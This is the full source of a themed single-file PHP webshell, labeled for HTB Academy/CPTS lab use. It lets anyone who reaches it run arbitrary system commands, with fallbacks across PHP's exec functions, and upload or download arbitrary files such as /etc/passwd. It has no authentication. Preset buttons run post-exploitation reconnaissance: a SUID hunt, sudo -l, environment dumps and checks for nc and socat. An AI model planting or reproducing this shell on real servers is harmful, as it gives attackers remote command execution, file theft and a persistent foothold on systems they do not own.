rp-shell.php (9234B)
1 <?php 2 // ============================================================ 3 // rp-shell.php — single-file PHP webshell (Rose Pine) 4 // Lab use only — HTB Academy / CPTS 5 // ============================================================ 6 $statusMsg = ''; 7 $output = ''; 8 9 // --- working directory (persists across requests via hidden field) --- 10 $workDir = isset($_REQUEST['wd']) ? $_REQUEST['wd'] : getcwd(); 11 if (!is_dir($workDir)) $workDir = getcwd(); 12 $workDir = realpath($workDir); 13 14 // --- file download: ?get=<path> --- 15 if (isset($_GET['get']) && $_GET['get'] !== '') { 16 $f = $_GET['get']; 17 $full = ($f[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $f)) ? $f : $workDir . DIRECTORY_SEPARATOR . $f; 18 if (is_file($full)) { 19 header('Content-Type: application/octet-stream'); 20 header('Content-Disposition: attachment; filename="' . basename($full) . '"'); 21 header('Content-Length: ' . filesize($full)); 22 readfile($full); 23 exit; 24 } 25 $statusMsg = 'download failed: not found -> ' . $full; 26 } 27 28 // --- file upload (drops into current working directory) --- 29 if (isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK && $_FILES['f']['size'] > 0) { 30 $dest = $workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']); 31 $statusMsg = move_uploaded_file($_FILES['f']['tmp_name'], $dest) 32 ? 'uploaded -> ' . $dest 33 : 'upload failed (permissions?) -> ' . $dest; 34 } 35 36 // --- command execution --- 37 function rp_run($c, $wd) { 38 $full = 'cd ' . escapeshellarg($wd) . ' && ' . $c . ' 2>&1'; 39 if (function_exists('shell_exec')) return shell_exec($full); 40 if (function_exists('system')) { ob_start(); system($full); return ob_get_clean(); } 41 if (function_exists('passthru')) { ob_start(); passthru($full); return ob_get_clean(); } 42 if (function_exists('exec')) { exec($full, $o); return implode("\n", $o); } 43 if (function_exists('proc_open')) { 44 $p = proc_open($full, array(1 => array('pipe','w')), $pipes); 45 if (is_resource($p)) { $r = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); return $r; } 46 } 47 return 'error: all exec functions disabled (check disable_functions)'; 48 } 49 50 $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; 51 if ($cmd !== '') { 52 $t = trim($cmd); 53 if ($t === 'cd' || strpos($t, 'cd ') === 0) { 54 $target = trim(substr($t, 2)); 55 if ($target === '') { $output = $workDir; } 56 else { 57 $new = ($target[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $target)) 58 ? $target : $workDir . DIRECTORY_SEPARATOR . $target; 59 $real = realpath($new); 60 if ($real && is_dir($real)) { $workDir = $real; $output = ''; } 61 else $output = "cd: no such directory: $target"; 62 } 63 } elseif ($t === 'cls' || $t === 'clear') { 64 $output = ''; 65 } else { 66 $output = rp_run($cmd, $workDir); 67 } 68 } 69 70 // --- banner identity --- 71 function rp_whoami($wd) { 72 $w = trim((string) rp_run('whoami', $wd)); 73 return ($w !== '') ? $w : (getenv('USERNAME') ?: getenv('USER') ?: '?'); 74 } 75 $banner = gethostname() . ' :: ' . rp_whoami($workDir); 76 77 function h($s) { return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8'); } 78 ?> 79 <!DOCTYPE html> 80 <html> 81 <head> 82 <meta charset="utf-8"> 83 <title>rp-shell :: <?= h($banner) ?></title> 84 <style> 85 :root{ 86 --base:#191724; --surface:#1f1d2e; --overlay:#26233a; 87 --muted:#6e6a86; --subtle:#908caa; --text:#e0def4; 88 --love:#eb6f92; --gold:#f6c177; --rose:#ebbcba; 89 --pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7; 90 } 91 *{box-sizing:border-box;} 92 body{ 93 background:var(--base); color:var(--text); 94 font-family:"Cascadia Code",Consolas,"Courier New",monospace; 95 margin:0; padding:24px; font-size:14px; 96 } 97 .wrap{max-width:960px; margin:0 auto;} 98 .card{ 99 background:var(--surface); border:1px solid var(--overlay); 100 border-radius:10px; padding:18px 20px; margin-bottom:16px; 101 } 102 .banner{ 103 font-size:15px; color:var(--foam); letter-spacing:.5px; 104 border-left:3px solid var(--iris); padding-left:12px; 105 } 106 .banner b{color:var(--love);} 107 .meta{color:var(--subtle); font-size:12px; margin-top:6px;} 108 .meta span{color:var(--gold);} 109 .pwd{color:var(--pine); word-break:break-all;} 110 .pwd b{color:var(--foam);} 111 pre{ 112 background:var(--base); border:1px solid var(--overlay); 113 border-radius:8px; padding:14px; overflow-x:auto; 114 white-space:pre-wrap; word-break:break-all; 115 color:var(--text); min-height:60px; margin:12px 0; 116 } 117 .status{color:var(--gold); font-size:12px; min-height:16px;} 118 input[type=text]{ 119 width:100%; background:var(--overlay); color:var(--text); 120 border:1px solid var(--muted); border-radius:6px; 121 padding:10px 12px; font-family:inherit; font-size:14px; 122 } 123 input[type=text]:focus{outline:none; border-color:var(--iris);} 124 .row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;} 125 .btn{ 126 background:var(--pine); color:var(--text); border:none; 127 border-radius:6px; padding:9px 18px; cursor:pointer; 128 font-family:inherit; font-size:13px; 129 } 130 .btn:hover{background:var(--foam); color:var(--base);} 131 .btn.alt{background:var(--overlay); color:var(--subtle);} 132 .btn.alt:hover{background:var(--muted); color:var(--text);} 133 .chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;} 134 .chip{ 135 background:var(--overlay); color:var(--iris); border:1px solid var(--muted); 136 border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer; 137 } 138 .chip:hover{background:var(--iris); color:var(--base);} 139 .fileline{display:flex; gap:8px; margin-top:8px; align-items:center;} 140 .fileline input[type=file]{color:var(--subtle); font-size:12px;} 141 .hint{color:var(--muted); font-size:11px; margin-top:8px;} 142 a{color:var(--foam);} 143 </style> 144 </head> 145 <body> 146 <div class="wrap"> 147 148 <div class="card"> 149 <div class="banner">rp-shell :: <b><?= h($banner) ?></b></div> 150 <div class="meta"> 151 remote <span><?= h($_SERVER['REMOTE_ADDR'] ?? '?') ?></span> :: 152 server <span><?= h($_SERVER['SERVER_SOFTWARE'] ?? '?') ?></span> :: 153 php <span><?= phpversion() ?></span> :: 154 disabled <span><?= h(ini_get('disable_functions') ?: 'none') ?></span> 155 </div> 156 </div> 157 158 <div class="card"> 159 <div class="pwd">cwd :: <b><?= h($workDir) ?></b></div> 160 <pre id="out"><?= h($output) ?></pre> 161 <div class="status"><?= h($statusMsg) ?></div> 162 163 <form method="post" enctype="multipart/form-data"> 164 <input type="hidden" name="wd" value="<?= h($workDir) ?>"> 165 <input type="text" name="cmd" id="cmd" autocomplete="off" 166 autofocus placeholder="command... (cd supported, cls clears)"> 167 <div class="row"> 168 <button class="btn" type="submit">run</button> 169 <button class="btn alt" type="submit" name="cmd" value="cls">clear</button> 170 </div> 171 <div class="chips"> 172 <span class="chip" onclick="fill('id')">id</span> 173 <span class="chip" onclick="fill('uname -a')">uname</span> 174 <span class="chip" onclick="fill('ls -la')">ls -la</span> 175 <span class="chip" onclick="fill('cat /etc/passwd')">passwd</span> 176 <span class="chip" onclick="fill('sudo -l')">sudo -l</span> 177 <span class="chip" onclick="fill('env | sort')">env</span> 178 <span class="chip" onclick="fill('find / -perm -4000 -type f 2>/dev/null')">suid hunt</span> 179 <span class="chip" onclick="fill('command -v python3 python perl nc socat bash')">interpreters</span> 180 </div> 181 <div class="fileline"> 182 <input type="file" name="f"> 183 <button class="btn alt" type="submit">upload to cwd</button> 184 </div> 185 </form> 186 187 <form method="get" class="fileline"> 188 <input type="hidden" name="wd" value="<?= h($workDir) ?>"> 189 <input type="text" name="get" placeholder="download path, e.g. /etc/passwd or ./config.php"> 190 <button class="btn alt" type="submit">download</button> 191 </form> 192 193 <div class="hint"> 194 up/down arrows = command history :: 195 exec falls back across shell_exec/system/passthru/exec/proc_open :: 196 remember to delete this file during cleanup 197 </div> 198 </div> 199 200 </div> 201 <script> 202 var hist = [], hi = -1; 203 var box = document.getElementById("cmd"); 204 function fill(c){ box.value = c; box.focus(); } 205 box.form.addEventListener("submit", function(){ 206 if (box.value) hist.push(box.value); 207 }); 208 box.addEventListener("keydown", function(e){ 209 if (e.key === "ArrowUp"){ e.preventDefault(); 210 if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } } 211 if (e.key === "ArrowDown"){ e.preventDefault(); 212 if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } } 213 }); 214 </script> 215 </body> 216 </html>